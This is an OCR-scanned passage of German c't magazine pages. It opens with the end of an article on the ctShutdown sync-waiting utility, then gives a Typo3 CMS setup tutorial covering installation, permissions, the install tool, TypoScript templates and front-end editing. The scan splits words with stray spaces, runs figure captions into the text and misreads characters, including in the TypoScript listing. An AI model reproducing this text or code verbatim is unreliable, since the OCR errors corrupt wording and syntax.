fi ndet s ich a uf dem von Anwendern betrie­
benen Dropbox Wiki [ 1 ]  auf der Seite ,.Py­
thon Scr ipt To Get F i le  Or Folder Status l n  
Windows" (L in k  am Ende d e s  Art ikels ) :  Man 
muss s ich mit  e iner  sogenan nten Named 
P ipe verbinden, e inem spezie l len Botschaf­
tenkana l ,  an dem d ie Dropbox-Anwendung 
lauscht und über den s ie Status i nformatio­
nen zurück l iefert. Für u nser Shutdown-

OK J I Abbrechen J 

ü berspr ingt das  Warten auf den Absch luss  
der Cloud-Synchronis ierung und der Ausfüh­
ru ng des selbst defin ierten Skripts oder Pro­
gramms.  ln d ie  E inste l l u ngen kom mt man 
mit  dem gle ichnamigen Button .  Sicherheits­
ha lber versteht das Prog ramm aber auch die 
Befeh l szei lenoption /config :  Damit ruft man di­
rekt den Konfigu rationsdia log auf. Das kann 
notwend ig werden,  wen n  man  d ie  E instel­
l ungen so gewäh lt hat, dass es fü r das Uti l ity 
n ichts mehr  zum Abwarten g ibt und  das 
Fenster nur so kurz auf  dem Bi ldsch i rm 
b le i bt, dass der  Anwender den ,. E instel­
l u ngen"-Knopf nicht mehr erreicht. Alter­
nativ kan n  man i n  e iner  so lchen Situat ion 
auch den Reg i stry-Sch l üssel  HKEY_CURRENT_ 
USER\Software\c't\ctShutdown löschen:  Hier spei­
chert das  P rog ra m m  sei ne E inste l l ungen.  
Fehlt  er, füh lt  es s ich frisch i nsta l l iert und öff­
net den Konfi g u rat ionsd ia log wieder auto­
matisch. (hos) 

Literatur 

[ 1 ) Dropbox Wiki, www.d ropboxwiki .com 

www.d.de/1215158 

Werkzeug haben wir  d ie  dort vorgeste l lte 
Methode nach (++ übersetzt. 

Der SkyDrive-Ci ient von Microsoft reg istriert 
auf dem System e inen u ndokumentierten 
OLE-Automatisierungsserver samt zugehö­
r iger Typbib l iothek ,.SkyDrivelibra ry 1 .0". 
S ie enthä lt  u nter anderem e in  Objekt na­
mens SkyDriveClient, dessen Methode Getltem 
Status() die gewüPlschte I nformation l iefert. 

Bei der Suche nach e iner ähn l ichen Schn itt­
ste l le  fü r den Goog le-Drive-Ci ient s ind wir  
le ider n icht fünd ig geworden.  Fa l l s  s ie doch 
existiert und wir  s ie ü bersehen haben, wür­
den wir  uns  ü ber e ine Nach richt freuen und 
c't-Sh utdown i n  e iner  nächsten Vers ion 
entsprechend nachrüsten. 
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D ie Autoren, d ie e ine Seite fü r 
Besucher span nend ma­

chen, können mit dem Content­
Management-System Typo3 d ie 
Inha lte mit e inem Rich-Text-Edi­
tor bearbeiten,  Dateien hochla­
den und zur I l l u stration verwen­
den. Die ei nfache Bedienurig im 
Browser ermögl icht dem Redak­
teur e ine plattformunabhängige 
Nutzu ng.  Auch Admin i stratoren 
und Web-Entwicklern bringt das 
häufig eingesetzte Open-Sou rce­
CMS viele Vortei le:  Die Benutzer-
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verwa ltung macht rol lenbas ierte 
Rechtevergabe auf der Site leicht 
und flexibel .  Typo3 wi rd in 
Deutsch land häufig  e ingesetzt. 
Daher g ibt es deutschsprach ige 
Literatur, Doku mentation und 
Foren zum Austausch und  um 
H i lfe bei P rob lemen zu fi nden .  
Auch fü r d ie absehbare Zukunft 
wird es verfügbar se in ,  denn das 
Open-Sou rce-CMS wi rd aktiv 
weiterentwickelt. 

Erweiterungen aus der Ent­
wickler-Community können über 

einen Extens ion Manager  e in­
fach zu- oder  abgescha ltet wer­
den .  Das Repos itory bietet ak­
tuel l  Zug riff auf über 3000 Erwei­
teru ngen wie News, Ka lender, 
Reg i strierung, Newsletter, Blogs, 
Foren, Shopfu n ktionen und vie­
les mehr. Mit e inem Wizard kan n  
e i n e  n e u e  Typo3-Vers ion per 
K l ick auf den aktue l len Stand ge­
bracht oder meh rere Releases 
zurückgesetzt werden, u m  etwa 
e ine bestim mte Kom pati b i l ität 
s icherzuste l len .  

Auch bei der  Verwa ltung 
komp lexer I n ha lte ist das CMS 
le istungsfäh ig .  Mit  Typo3 kön­
nen S ie I n h a lte i n  mehreren 
Sprachen und i n  versch iedenen 
Vers ionen verwa lten .  Diese las­
sen s ich auf Seiten- oder lnha lts­
e lementebene zeitgesteuert 
oder manue l l  fre igeben. Es g ibt 
e ine Undo-Funktion fü r bel iebig 
weit zurück l iegende Änderun­
gen sowie e in  u mfa ngreiches 
Rechtesystem m it N utzern, 
Gruppen und Rol len. Die ausge-
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fe i l ten Cach ing-Mechan ismen 
machen Typo3 r icht ig fl i n k, ob­
wohl d ie Seiten i n  Echtzeit gene­
riert werden.  

Das System ist  a n passbar und 
flex ibel ,  daher aber' auch  kom­
plex und fü r E insteiger schwer zu 
du rchschauen. Mit den r ichtigen 
Tipps und H inweisen lassen s ich 
a l lerd ings d ie meisten Fa l l str icke 
bei der I n sta l lat ion umgehen .  
U m  s ich i n  d ie  Typo3-eigene 
Konfigu rat ionssprache Typo­
Scri pt e inzua rbeiten, benötigen 
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S ie  led ig l ich e i nfache Program­
m ierkenntn i sse i n  BASIC oder 
einer bel iebigen anderen Pro­
grammiersprache. Weiterh in  sol l ­
ten Sie e in igermaßen mit HTML 
und CSS vertraut se in ,  u m  e in  
Webseiten-Template a n  d ie  
Sty le-Namen anzu passen, d ie  
Typo3 verwendet. 

LAMP benötigt 

Typo3 ist i n  PHP5 geschr ieben 
und läuft auf den gängigen Web-

Praxis I Typo3 

Insta l lationsvoraussetzungen für Typo3 

- Vi rtue l le r  Webserver mit 
Doma i n  

- Webserver m it m indestens  
256 MByte RAM 

- Webserver: Apache 2.0 oder 
Microsoft I I S  

- Datenbank: MySQL 5 .0, 
Oracle oder Postgres 

servern und Betriebssystemen. 
Die bevorzugte Architektur  i st 
LAMP Linux/Apache/MySQUPHP) 
mit PHP5, es g ibt aber auch eine 
WAMP-Version für Windows. Zum 
Betrieb von Typo3 benötigen Sie 
<einen eigenen Webserver mit 
SSH-Zugang und Admin-Rechte, 
wenn Sie Gebrauch von a l len 
Mög l ichkeiten machen wol len.  
Bei  g rößerem Traffic ist ein virtu­
el ler Webserver mit garantierten 
Ressou rcen dem getei lten Web­
space vorzuziehen. 

Zur  Not geht es auch mit FTP­
Zugang und e inem Sha red-Hos­
t ing-Paket, wie es bei e inem Pro­
vider fü r wen ige Euro im Monat 
gemietet werden kann .  Bevor Sie 
s ich a ber  fü r ein solches Ange­
bot ohne Ad min-Zugang ent­
scheiden,  erku nd igen S ie sich 
beim Anbieter, ob Typo3 dort in­
sta l l ie rt werden kan n .  Manche 
Hoster bieten Typo3 auch vor­
i n sta l l ie rt an .  Ü ber  den c't-Li n k  
am E n d e  d e s  Artikels fi nden Sie 
den E rfa h rungsaustausch von 
Typo3-N utzern i n  einem Forum 
darü ber, we lche Hoster fü r S ie 
i nteressant sein können.  Fa l l s  S ie 
zunächst einmal Typo3 loka l  auf 
I h rem Com puter ausprobieren 
wo l len ,  bauen S ie m it XAMPP 
oder AMPPS und Typo3 von der 
Heft-DVD das Projekt nach. 
AMPPS i st dabei d ie e infache Va­
riante, mit der Sie Typo3 mit we­
n igen K l icks insta l l ieren. 

Fal lstricke 

Für  d ie I n sta l lation eines Produk­
t ivsystems beziehen S ie d ie  ak­
tue l le  Vers ion der Software a m  
besten von d e r  offiz ie l len Typo3-
Website. Dort sind auch a l le Do­
kumentat ionen zu fi nden,  zum 
Tei l  auch auf Deutsch. A ls  Linux­
Nutzer mit She i i -Zugang laden 
S ie s ich das etwa 20 MByte 
g roße .,B lank Package" a l s  tar.gz, 
kopieren es auf den Webserver 
neben das Verzeich n i s  htdocs 

- GDi ib  

- Linux, Windows 

- PHP 5.3 

- GraphicsMagick oder l mage-
Magick 

- mod_rewrite, mod_gzip fü r 
Apache 

und entpacken es dort. So ist der 
Sou rce-Code sicher vor Zugriffen 
von außen über den Webserver. 
Nun  kopieren Sie a l les bis auf das 
Verzeichn is  typo3_src-4.7 . 1  nach 
htdocs, passen den symbol i ­
schen L ink typo3_src auf das tat­
säch l iche Que l lverze ichn is  an 
und  setzen dessen Owner auf 
den Webserver-Nutzer. 

Wenn Sie nun  im Browser die 
index.php des Webservers auf­
rufen, so wird im Idealfa l l  die Mel­
dung ., lnsta l l  Tool is locked" ange­
zeigt. Sol lte nur  eine weiße Seite 
erscheinen, überprüfen Sie zu­
nächst die Serverkonfiguration. 
Die Va r iable open_basedir stöbern 
Sie in  Dateien wie vhost.conf, 
httpd.conf oder php. in i  auf und 
ergänzen d iese um den vol lstän­
digen Pfad des Verzeichnisses 
typo3_src-4.7 . 1 . Scha lten Sie den 
safe_mode von PHP aus. Wenn Sie 
keine Admin-Rechte haben oder 
nu r  ü ber FTP-Zugriff verfügen, 
können Sie a lternativ das Ver­
zeichn is  typo3_src-4.7 . 1  d i rekt 
nach htdocs kopieren und den 
symbol ischen Link typo3_src an­
passen. 

Zu beachten ist noch die 
Rechtestruktur. Die Verzeichn isse 
fi leadmin ,  up loads, typo3temp, 
typo3conf und insbesondere 
auch ext im typo3-0rdner müs­
sen fü r den Webserver be­
schrei bbar sei n .  Im ei nfachsten 
Fa l l  ä ndern Sie den Besitzer der 
Verze ichn isse von root auf den 
Webserver-Nutzer, etwa www-data, 
mit dem Kommando chown. Die 
Sch reibrechte fü r das ext-Ver­
zeichn is  im typo3-0rdner s ind 
zwingend notwendig,  wenn Sie 
Extens ions i n sta l l i eren wol len, 
d ie nicht zum Lieferumfang ge­
hören. Vergessene Schreibrechte 
s ind e ine schwer zu fi ndende 
Fehlerquel le .  

Typo3 benötigt d ie PHP5-Gra­
fi kbib l iotheken Graph icsMagick 
oder l mageMagick fü r das Ren­
dern von Grafiken .  Diese sollten 
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Install ing TYP03 4.6 

Welcome to the TYP03 Insta l l  Tool 

TYP03 is an enterpnse content management system that is powerful ,  
yet easy to insta l l .  

In  three simple steps you'll be ready to add content to your website . 

Contlnue 

Skap thls wlzard (for Power U$ers onlyl 

Das lnstallationstool h i lft bei der E inrichtung 
und beim Update von Typo3- lnsta l lationen. 

bei den meisten P rovidern auf 
dem Server vorinsta l l iert sein .  I m  
Zweifel fragen S i e  im Vorfeld den 
Hoster, ob d ie  B ib l iotheken zur 
Verfügung  stehen .  Mit  Adm i n­
Rechten können  S ie d iese mit  
apt-get instaU nach laden oder not­
fa l l s  mit make aus  den Quel ltexten 
insta l l ieren. 

l nsta l lationstool 

Als  Nächstes fo lgt d ie  E in r ich­
tung der  Datenbankverb indung .  
Dan k  des mitge l ieferten Werk­
zeugs  ist das mit nu r  d rei K l icks 
er ledigt. U m  Missbrauch zu ver­
meiden,  muss  im typo3conf­
Ordner  e ine  Datei namens 
ENABLE_INSTALL_TOOL manue l l  
angelegt werden .  Die Aktivie­
rung ist n u r  eine Stunde g ü lt ig .  
Das l n sta l l at ions-Tool wi rd jetzt 
automatisch beim Aufruf der  
index.php im Stammverze ichn is  
des Webservers aktiviert. Legen 
S ie ü ber  das  Webmenü I h res 
Hosters oder phpMyAdmin  eine 
MySQL-Datenbank an. Merken 
Sie s ich MySQL-Benutzer, Name 
der Datenba n k, Server und Pass­
wort. Diese müssen Sie i n  das ln ­
sta l lat ions-Tool e ingeben .  Nach 
d iesem Sch ritt ist das  System 
e insatzbereit. 

Typo3 u nterscheidet zwi­
schen Ad m in istration der Web­
site im Backend und  i h rer  Da r­
ste l l ung  im F rontend - a l so dem, 
was der Besucher der Website zu 
sehen bekommt. Das Backend 
erreichen S ie  ü ber  http://www. 
I H R EWEBSE ITE.de/typo3/. Log­
gen Sie s ich dort a l s  N utzer 

"adm in" mit  dem Passwort 

"password" e in .  A ls  E rstes laden 
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Sie d ie  Benutzersprache Deutsch 
über den Erweiterungsmanager 
- jetzt he ißt er  noch Extens ion 
Manager - mit  der  Funktion 

"Language Packages". Wäh len 
Sie dort i n  der  Li ste "German" 
aus  und  k l icken auf "Check 
aga inst Repository", dann auf 

"U pdate Repository". Ansch l ie­
ßend weisen S ie d iese u nter 

"User Setti ngs" dem Benutzer 
adm in  zu. Bei der Gelegen heit 
sol lten S ie auch g le ich das vor­
gegebene Passwort ändern. 

"' W E B  
[lf S e ite 

� A n z e i g e n  

t@) Li ste 

I nfo 

• Z u g riff 

Fu n kti o n e n  

[i!] Te m p l ate 

"" D ATE I 
IJill D ate i l i ste 

"" B E N UTZ E R W E RK Z E U G E  
� A ufg a b e n  

& E i n ste l l u n g e n  

"" A D M I N W E RK Z E U G E  
B e n utz e r  

E rw e ite ru n g e n  

Das Menü im Backend von 
Typo3 ist leicht zu verstehen. 

c't 20 1 2, Heft 1 S 



Nun  sehen Sie zum ersten Mal  
das Bed ienkonzept von Typo3. 
Das s ind kaskadenförmige Aus­
wah l menüs, d u rch d ie  S ie  s ich 
von l i nks nach rechts und oben 
nach u nten d u rchhange ln .  E ine 
der  E igenhe iten von Typo3 ist  
d ie  Doppel bed ien u n g  m it der  
Maus .  Vie le F u n kt ionen lassen 
s ich mit  norma lem Mausk l ick  
über Auswa h l menüs  aufrufen,  
e in ige s ind jedoch auf der rech­
ten Maustaste versteckt, d ie  ein 
zusätzl iches Kontextmenü öff­
net. Wen n  a l so etwas mit e inem 
einfachen Mausk l ick n icht fu n k­
t ioniert, ist d ie rechte Maustaste 
gefragt. 

Das Backend-Menü zur Ver­
wa ltung von Typo3 ist recht s im­
pel aufgebaut. D ie  e inzelnen  
Funktionen s ind i n  Gruppen wie  
Web, Datei, Benutzerwerkzeuge 
und Adminwerkzeuge e ingetei lt . 
Je nach Benutzer werden nur die 
verfügbaren F u n kt ionen und  
Gru ppen a ngezeigt. Wen n  S i e  
Funkt ionen aus  der  Gru ppe 
"Web" wäh len ,  ersche int  i n  der 
Mitte e in  Seiten ba u m  zur  Aus­
wah l  der zu bearbeitenden Seite 
und ganz rechts das e igent l ich 
zu bearbeitende Objekt. Am 
Anfang bra uchen S ie nur  d ie  
Funktionen Seite, Template und 
Datei I i ste. 

Zum Anlegen e iner  Website 
fangen S ie am besten mit  e iner  
"Home"-Seite an .  Die g ibt es auf 
fast jeder Website a l s  Hauptseite. 
Sie i st An laufste l l e  fü r Neu igkei­
ten und Navigation .  S ie  brau­
chen s i ch  im  Anfangsstad i um 
noch n icht zu  viele Gedanken zu  
machen, denn  d ie  Seitennamen 
und -typen lassen s ich jederzeit 
ändern. 

Wäh len Sie a l so d ie  Funkt ion 
Seite i m  Web-Menü,  gehen auf 
"New TYP03 site", wäh len dann  
über  d ie  rechte Maustaste d ie  
Funktion "Neu" aus  und bestim­
men ansch l ießend d ie  Posit ion 
der Seite. Seiten kön nen auf der 
g le ichen Ebene l iegen oder a l s  
Unterseite angelegt werden. Die 
Ebenenstruktur  sp ie lt  später 
beim Aufbau der  Navigat ion 
e ine Rol le :  Al le Seiten auf e iner  
Ebene stehen später  nebenei­
nander a l s  Li n ks auf e iner  Navi­
gat ionsebene. Pfl ichtfe lder  s ind 
i n  Typo3 mit  e inem Ausrufezei ­
chen i n  e inem ge lben Dreieck 
gekennze ichnet. Der Seitentite l  
ist e in solches Pfl ichtfe ld .  

E ine weitere wichtige E instel­
l ung  fü r die Sta rtseite ist u nter 
dem Reiter "Verha lten" erforder­
l ich ,  näm l ich dass d ie  Seite a l s  
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MEIN VEREIN . DE 
# # # NA V I # # #  
# # # C O NT E N T # # #  # # # N E W S # # #  

# # # NA V I2 # # #  

* • * FOOTE R* * *  

So könnte eine typische Vereins-Website aufgebaut werden; 
an Stel le der Platzha lter fügt Typo3 Inha lte ein.  

Anfa n g  der  Website benutzt· 
wi rd .  Sofern d ie index.php ohne 
e ine Seiten- ID a l s  Parameter auf­
gerufen wird, g ibt das CMS auto­
matisch d iese Sta rtseite aus .  
Wicht ig  i st das Spe ichern  von 
Änderungen d u rch Ankl icken 
der  D iskettensymbole weiter 
oben. Nun müssen S ie d ie  Seite 
noch im F rontend s ichtba r ma­
chen, i ndem Sie mit  der  rechten 
Maustaste im Seitenba u m  auf 
"Aktivieren" k l icken .  

Ein Template muss her 

Die erste Seite i st n u n  zwa r  an­
ge legt, kan n  a ber  immer  noch 
n icht angezeigt werden.  Wer d ie 
index.php im  Browser lädt, wi rd 
auf  d ie  Feh lerme ldung "No 
TypoScript template found" sto­
ßen. I rgendetwas fehlt a lso noch. 
E in  grund legendes Konzept von 
Content-Management-Systemen 
i st d ie  Trennung  von I nha lten 
und deren Darste l l ung .  Mit An le­
gen der Seite haben Sie zwar l n ­
ha l t  geschaffen, aber noch  nicht 

Te m p I  ate - I nfo rm ati o n e n:  

� N E U E  W E B S ITE 

festgelegt, wie d ieser dargeste l l t  
werden so l l .  U m  H interg rund­
farbe, Sch riftart und -größe und 
Ähn l iches zu bestimmen,  a rbei­
tet man m it CSS-Sti len .  Die 
Stru ktu r  der  Seiten - Kopf- und  
Fußbereich, Navigation, I nha lts­
felder - wird mit einem Templa­
te i n  der  Konfigu rat ionssprache 
TypoScr ipt festge legt. D ieses 
Tem plate sagt Typo3, welchen 
I nha lt  aus  der Datenbank es wie 
wiedergeben so l l .  

Wählen Sie zunächst im Menü 
Web d ie Funktion Tem plate und 
kl icken dann auf die Seite mit der 
Weltkugel .  Diese Kugel erscheint, 
wenn man e ine Seite a ngelegt 
hat mit der E igenschaft "Anfang 
der Website". Da nn  wäh len S ie 
"Template fü r neue Website er­
ste l len". Dieses Template g i l t  nun  
a l s  Basis-Template fü r a l l e  Seiten 
und U nterseiten .  Bei Bedarf 
legen Sie für besondere Zwecke 
oder Seiten eigene Templates an, 
d ie einze lne Funktionen im Basis­
Tem plate ü berschreiben oder 
d ieses u m  neue Funktionen oder 

cf' Tite l d e s  

Te m p l at e s :  
N E U E  W E B S ITE 

cf' Tite l d e r  W e b s ite:  

cf' B e s c h re i b u n g :  

cf' Re s s o u rc e n :  

cf' K o n sta nte n :  

cf' S etu p :  

( bea rbe iten um  an zu ze i g en ,  0 Ze i l e n )  
( b ea rbe iten um  an zu ze i g en ,  6 Ze i l e n )  

cf' V o l l stä n d i g e n  Te m p l ate - D ate n s atz b e a rb e ite n 

Im Backend des CMS pflegen Sie die Codezei len 
für die Seiten-Templates ein. 
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I nha lte erweitern. Das Template 
bekommt automatisch den Titel 
,.NEUE WEBSITE" und du rch Kl ick 
auf den Namen öffnet s ich ein 
Texteditor mit einem ,.He l lo 
World"-Beispiel i n  TypoScript. Kl i­
cken Sie zum Speichern auf das 
DiskettensymboL Wen n  S ie die 
index.php jetzt neu laden, er­
scheint brav e in  ,.He l lo  Wor ld" 
anstel le der Fehlermeldung.  Das 
ist ein erster Erfolg, jedoch nicht 
wirkl ich s innvo l l ,  wei l  ,.He l lo  
World" auch auf jeder  weiteren 
neu angelegten Seite erscheinen 
würde - anstel le des tatsäch l i ­
chen Seiten inha lts. 

Fü r  die Temp late-Bea rbei­
tung wäh len  S ie oben i n  der 
Auswa h lbox ,. I nfo/Bea rbeiten", 
damit das  Temp late mit  a l len  
Bearbeitu ngsfu n kt ionen ü ber­
s icht l ich dargeste l lt w i rd .  Der 
TypoScript-Code steht i m  Feld 
,.Setu p"; fü r Konstanten g i bt es 
e inen sepa raten Bere ich .  Tippen 
oder kopieren Sie in  das Feld das 
nebenstehende Bas is-Template 
h ine in .  

Wichtig i s t  dann  noch,  das  
statische Template ,.CSS Styled 
Content" e inzub inden .  Dazu 
wäh len S ie ganz u nten u nter 
,.Vol l ständigen Template-Daten­
satz bearbeiten" den Reiter ,.Ent­
hä l t" und dort dann  das ge­
wünschte Template. Typo3 be­
nötigt CSS Styled Content, u m  
CSS fü r d a s  Layout von Seiten 
nutzen zu können.  

Templating 
mit TypoScript 

Unser Bei spiel ist e ine k le ine Ver­
e ins-Site. Die dazu gehörenden 
HTML- und  CSS-Dateien fi nden 
S ie über den c't-Li n k  a m  Ende 
des Arti kels .  Laden S ie s ie im  
Typo3-Backend i n  der Funkt ion 
,.Date i l i ste" i n  das  Verzeichn i s  
fi leadmin .  Typo3 verwendet d ie-

c o n f i g . a d m P a n e l = 1  
c o n f i g . a d m P a n e l { 

e n a b l e . e d i t = 1  
m o d u  l e .  e d  i t .  f o r c e D i  s p  l a y F  i e l d l  c o n s = 1  

} 
p a g e = P A G E  
p a g e . i n c l u d e C S S . f i l e 1 = f  i l e a d m i n i  c s s / M e i  n V e r e i  n .  c s s  
p a g e . i n c l u d e J S .  f i  l e 1  = f i  l e a d m i  n /  j s / M e i  n V e r e i  n .  j s 
H T M L F i  l e = F I L E  
H T M L F i  l e .  f i l e = f  i l e a d m i  n / M e i  n V e r e i  n .  h t m l  
H T M L  T e m p  l a t e = T E M P L A  T E  
H T M L T e m p l a t e  { 

t e m p l a t e  < H T M L F i  l e  
w o  r k O n  S u b p a r t  = B O  D Y P A R T  
m a r k s . N A V I = T E X T  
m a r k s . N A V I . v a l u e = P l a t z h a l t e r  f ü r  d i e  N a v i g a t i o n 
m a r k s . C O N T E N T  < s t y l e s . c o n t e n t . g e t  
m a r k s . N E W S  < s t y l e s . c o n t e n t . g e t R i g h t  
m a  r k s . F O O T E R = T E X T  
m a r k s . F O O T E R . v a l u e = { C ) o p y r i g h t  2 0 1 2 ,  M e i n V e r e i n  
m a  r k s .  F O O T E R .  w r a p = < s p a  n c l  a s s = "  f o o t e  r " >  I < / s p a n >  

} 
p a g e . 1 0  < H T M L T e m p l a t e  

ses Verzeichn is fü r bel iebige e in­
gebundene Dateien,  zum Bei­
spiel auch Grafiken. Um Chaos zu 
vermeiden,  empfieh l t  es s ich ,  
h ier  von Anfang an  e ine Struktur  
anzu legen und  d ie  Date ien i n  
U nterverze ichn isse w i e  css, js, 
images oder ähn l ich abzulegen. 

E in  Template-Satz besteht im 
Wesent l ichen aus e iner HTML­
Datei, e iner oder mehreren (55-
Dateien sowie dem Typo3-Tem­
plate. Die HTML-Datei, auch  
HTML-Template genannt, be­
steht aus dem Grundgerüst der  
Seite - siehe Abbi ldung auf Seite 
1 65 oben.  An Ste l l e  der I nha lte 
enthä lt  sie sogenannte Ma rker 
der Form 

###Marker### 

Für  d iese Marker fügt Typo3 auf 
Bas is  des TypoScri pt-Templates 
d ie I nha lte e in .  

Ersetzungen 

TypoScript behandelt I nha lte a l s  
Objekte. Die Bas i s  e ines  Templa­
tes ist  e in  Objekt vom Typ PAGE. 
Im Bei sp ie l  w i rd m it page = PAGE 
ein Objekt page geschaffen,  das  

d ie  E igenschaften der Klasse PAGE 
erbt. PAGE ist die Standard klasse 
fü r e ine Seite und  legt a l l e  De­
ta i l s  für die Da rste l l ung  fest. Die 
da rauffolgenden Zei len  weisen 
dem page-Objekt weitere E igen­
schaften zu. 

Dafü r werden d ie  Objektk lasc 
sen F I LE u n d  TEMPLATE benö­
t igt .  F I LE ist e in  u n iverse l l e r  Ob­
jekttyp fü r die Refe renz ieru ng 
u n d  Verwen d u n g  von stat i ­
schen Dateien i n  e iner Typo3-
l n sta l lat ion.  Besondere F I LE-Ob­
jekte s i nd  i n c l u deCSS u n d  i n ­
c l udeJS  fü r d i e  E i n bezi ehung  
von  CSS- ode r  JavaScript-Datei­
en ,  die bereits im Header  der  
a u sgegebenen HTML-Seite e in ­
gebunden  werden .  l n  der  a u s­
ge l i eferten HTML-Datei sorgen 
d ie be iden Zei l en  a l so dafü r, 
dass  d i e  betreffenden Java­
Scr i pt- und CSS-Date ien r icht ig 
referenziert werden .  

TEXT TEXT 

Das HTML-Template dagegen 
wi rd meist nur im BODY e iner  
Website vera rbeitet und  mi t  
dem Objekttyp TEMPLATE zu­
sammen benutzt, welches das  
e i nfache Objekt vom Typ F I LE  
u m  nützl iche Funktionen erwei­
tert. Es ermögl icht  es, die ###­
P latzha lter in der HTML-Datei 
d u rch Texte oder andere I nha lte 
zu ersetzen. 

IMAGE 

HMENU 

(HTML)TEMPLATE 

CONTENT 

TypoScript fügt Objekte zu 
einem Template zusammen. 
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IMAGE 

IMGTEXT 

FORM 

PLUGIN 

Eine häufig benutzte Objekt­
klasse in Typo3 ist TEXT. Mit d ie­
ser kan n  man stat ische Texte i n  
e ine Website ei nfügen, e infache 
Format ieru ngen vornehmen 
oder CSS-Kiassen zuweisen. Ob­
jekte aus der  TEXT-Klasse s ind  
recht u n iverse l l  verwendbar und 
können neben stat ischem Text 
auch den I n ha l t  von Datenba n k­
fe ldern oder Va r iab len a ufneh­
men.  D ie  F u n kt ion wrap er lau bt 
d ie HTML-typische Schachte lung 
von I nha lten und  ist i n  fast 

Dieses TypoScript-Template 
ist die Basis für a l le erzeugten 
Webseiten.  Es ersetzt Platz­
halter in der HTML-Datei durch 
die konkreten Inha lte. 

jedem Typo3-0bjekt vorhanden. 
I m  Beisp ie l  weist d ie  Funktion 
dem Footer- lnha l t  e in  HTML-Tag 
mit  der Klasse ,.footer" zu. 

Objekte l assen s ich kopieren, 
i nha lt l i ch  verändern oder lö­
schen,  so lange das  Template 
noch n icht vol l ständ ig ausgege­
ben wurde.  I ntern werden a l l e  
Objekte a l s  PH P-Arrays behan­
delt  und erst vera rbeitet, wen n  
d ie  Seite abgefragt wird - sozu­
sagen a l s  l etzter Sch ritt vor der 
Ausgabe der  Seite fü r den 
Browser. Objekte werden mit  
dem <-Zeichen kopiert und  er­
ha lten a l le  b i s  dah in festgeleg­
ten E igenschaften und I nha lte 
des Quel lobjekts. l m  Beispielpro­
jekt überg i bt der Konstruktor 
HTMLTemplate mit e inem Objekt 
template vom Typ TEMPLATE d ie  Er­
gebn isse a l le r  Vorgänge i n ner­
ha lb  se iner  geschweiften Klam­
mern a n  das Objekt page. 10 .  

Die P latzha lter CONTENT und NEWS 
i n nerha l b  des HTMLTemplate­
Konstruktors werden du rch ln­
ha lte ersetzt, d ie  noch i n  Typo3 
zu erste l len s ind .  Aktue l l  i st auf 
der Seite daher  noch n ichts zu 
sehen.  Typo3 b ietet von Haus  
aus  b is  zu vier Spalten. · Der  
Haupt inha l t  w i rd üb l icherweise 
der breitesten Spa lte ,.Normal" 
zugewiesen, daneben g ibt es 
noch d ie  Spa lten ,.Rechts", 
,.Li n ks" und  ,.Rand". Das s ind je­
doch nu r  Namenskonventionen, 
d ie n icht zwingend etwas mit der 
Posit ion der  Spa lten zu tun 
haben. Die noch nicht existieren­
den I nha lte vom Typ NEWS wer­
den der rechten Spa lte zugewie­
sen. Bei Bedarf lassen sich wei­
tere Spa lten defi n ieren. Die obe­
ren Zeilen im  Listi ng beg innend 
mit config bereiten den E insatz des 
F rontend-Ed iting-Tools vor. 

Redigieren im Frontend 

Nachdem d ie  Grunddarstel l ung  
der  Website defi n ie rt wu rde, 
geht es n u n  an die I n ha lte. Vie­
len Redakteu ren kommt es ent­
gegen, wenn s ie Artikel und Sei­
ten g le ich auf der Website an le­
gen und edit ieren können.  Dafü r 
ist das Mod u l  "feed it" zuständ ig .  
I nsta l l ieren S ie es ,  i ndem Sie im  
E rweiteru ngsmanager  das fa rb-
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lose Klötzchen a n kl icken.  Zu­
nächst wird d ie  E rweiterung Ext­
Base i n sta l l ie rt, von der  feedit 
abhängig ist. K l icken Sie s ich n u n  
d u rch d ie  Dia loge zur  Daten­
bankaktua l i s ierung und I n sta l la­
t ion der  E rweiterungen .  Ü ber­
prüfen S ie an sch l ießend,  dass  
das Klötzchen be i  feedit tatsäch­
l ich grün ist. 

TYP03 ADMIN-PANEL: admin ; 
Das Admin­
Panel von 
Typo3 ist das 
Werkzeug zur 
Bearbeitung 
der Website 
im Frontend. 

Beim Laden der  Sta rtseite 
http://www.I H REWEBSEITE.de/i n 
dex.php erscheint jetzt das defi­
n ierte Template, jedoch noch 
ohne I nha lte. Am Fuß der  Seite 
taucht das Admin-Panel auf, wel­
ches Funkt ionen zum An legen 
und Verwa lten der I nha lte d u rch 
den Redakteur  bietet. Die a nge­
botenen Optionen hängen von 
den Berechtigungen des Users 
ab, der Admin i strator hat natü r­
l ich die Maxima lausstattung.  Das 
Panel  lässt s ich mit der Maus in 
den gewünschten Seitenbereich 
verschieben. Wen n  Sie es öffnen, 
können S ie mit  den e ingeb len­
deten k le inen Symbolen I nha lte 
und  auch neue Seiten a n legen.  
Aktivieren S ie u nter "E ingabe" 
d ie ersten beiden Kästchen und 
kl icken dann auf "Aktua l is ieren", 
um die Bearbeitungswerkzeuge 
in  d ie Seite e inzublenden.  

Beim Anlegen neuer I nha lte 
stehen Text, B i ld ,  Text mit B i ld ,  
Tabel len,  Formu l a re oder auch 
P lug- ins  zur  Verfügung .  Exten­
s ions wie News oder l ndexed­
Search ersetzen als fertige und 
einfach konfigu rierbare P lug- ins, 
was S ie auch mit e in  paar Dut­
zend TypoScript-Anweisungen 
h i nbekommen können .  Wäh len  
S ie  "Text m i t  B i ld", dann können 
Sie d ie  Posit ion des I nha lts-Ele­
ments bestimmen und den Text 
im Editor verfassen und wunsch­
gemäß formatieren.  Nun werden 

MEINVEREIN.DE 
Iatzhaiter ftlr d t e  Navt atton 

Neuer Spielplan 
D e r  Spielplan fOr d i e  neue Saison steht jetzt fest u n d  in 
der Download Section zum Abruf als POF und Excel  Version 
bereit .  Bitte beim Ausdrucken berücksichtigen: 
Ergänzungen oder Änderungen im Spielplan werden wie 
bislang grundsätzlich nur onllne verOffentlicht. 

Iatzhaiter für d1e Navtgation 

"' Vorschau 

"' Cache 

"f' Eingabe 

� B e a rb e itungssymbo l e  a nze i gen  
� B e a rb e itungs l e i ste anze i gen  
D E ingabefo rm u l a r  a ufWe b s e ile 
D Ke ine  Popup-Fenster 

die vordefin ie rten B lockformate 
und Textst i le verwendet und das 
CSS a ngepasst. B i lder  legen Sie 
mit  dem U pload-Tool i n  fi le­
admin  oder einem U nterver­
zeichn i s  ab und mit den Optio­
nen u nter "Erschein u ngsb i ld" 
können Sie d iese ei nfach per 
Kl ick position ieren. Bereits ange­
legte I nha ltse lemente kan n  der 
Redakteur  später fü r sch ne l le re 
Änderungen mit  dem Bearbei­
tungssymbol oder einer Leiste er­
reichen. 

Formatieren mit CSS 
